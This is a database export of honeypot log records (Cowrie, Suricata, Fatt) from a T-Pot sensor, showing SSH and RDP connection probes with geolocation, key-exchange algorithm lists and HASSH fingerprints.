21726	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:51.709036+03	2021-09-20 14:15:04.024612+03	{"_id": "RgbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:39402 (192.168.176.2:22) [session: a5f1fcd7546d]", "session": "a5f1fcd7546d", "@version": "1", "protocol": "ssh", "src_port": 39402, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.709036Z", "@timestamp": "2021-09-20T11:06:51.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21720	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:50.554901+03	2021-09-20 14:15:04.018613+03	{"_id": "EQbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "018cda16fdf7", "@version": "1", "timestamp": "2021-09-20T11:06:50.554901Z", "@timestamp": "2021-09-20T11:06:50.554Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21721	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:50.938208+03	2021-09-20 14:15:04.019613+03	{"_id": "FgbjAnwBvYTbRNuEIAPr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1642886920292263, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34752, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.938208Z", "@timestamp": "2021-09-20T11:06:50.938Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21722	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:06:51.625546+03	2021-09-20 14:15:04.020613+03	{"_id": "FQbjAnwBvYTbRNuEIAPr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:06:50.923006+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2218985916077438, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 65261, "dest_port": 3389, "timestamp": "2021-09-20T11:06:51.625546Z", "@timestamp": "2021-09-20T11:06:51.625Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
21723	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:51.797669+03	2021-09-20 14:15:04.021612+03	{"_id": "KQbjAnwBvYTbRNuEIgNS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:52190 (192.168.176.2:22) [session: 3bcde3b08a76]", "session": "3bcde3b08a76", "@version": "1", "protocol": "ssh", "src_port": 52190, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.797669Z", "@timestamp": "2021-09-20T11:06:51.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21724	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:51.951426+03	2021-09-20 14:15:04.022613+03	{"_id": "HAbjAnwBvYTbRNuEIgNR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:40944 (192.168.176.2:22) [session: b37b4f7e599f]", "session": "b37b4f7e599f", "@version": "1", "protocol": "ssh", "src_port": 40944, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.951426Z", "@timestamp": "2021-09-20T11:06:51.951Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21727	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:47.16052+03	2021-09-20 14:15:04.026613+03	{"_id": "cAbjAnwBvYTbRNuEEQJH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2058506610293303, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48784, "dest_port": 22, "timestamp": "2021-09-20T11:06:47.160520Z", "@timestamp": "2021-09-20T11:06:47.160Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21728	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:47.161485+03	2021-09-20 14:15:04.027612+03	{"_id": "cgbjAnwBvYTbRNuEEgKl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b22ec41a08e3", "@version": "1", "timestamp": "2021-09-20T11:06:47.161485Z", "@timestamp": "2021-09-20T11:06:47.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21729	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:49.001627+03	2021-09-20 14:15:04.028613+03	{"_id": "xAbjAnwBvYTbRNuEGgJ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45372, "dest_port": 22, "timestamp": "2021-09-20T11:06:49.001627", "@timestamp": "2021-09-20T11:06:49.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21730	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:49.00087+03	2021-09-20 14:15:04.029614+03	{"_id": "vAbjAnwBvYTbRNuEGgJ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45372, "timestamp": "2021-09-20T11:06:49.000870", "@timestamp": "2021-09-20T11:06:49.000Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21736	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:50.687059+03	2021-09-20 14:15:04.037613+03	{"_id": "0gbjAnwBvYTbRNuEHQIC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 950145202711681, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43582, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.687059Z", "@timestamp": "2021-09-20T11:06:50.687Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21731	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:49.150947+03	2021-09-20 14:15:04.030613+03	{"_id": "vQbjAnwBvYTbRNuEGgJ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2124, "timestamp": "2021-09-20T11:06:49.150947", "@timestamp": "2021-09-20T11:06:49.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
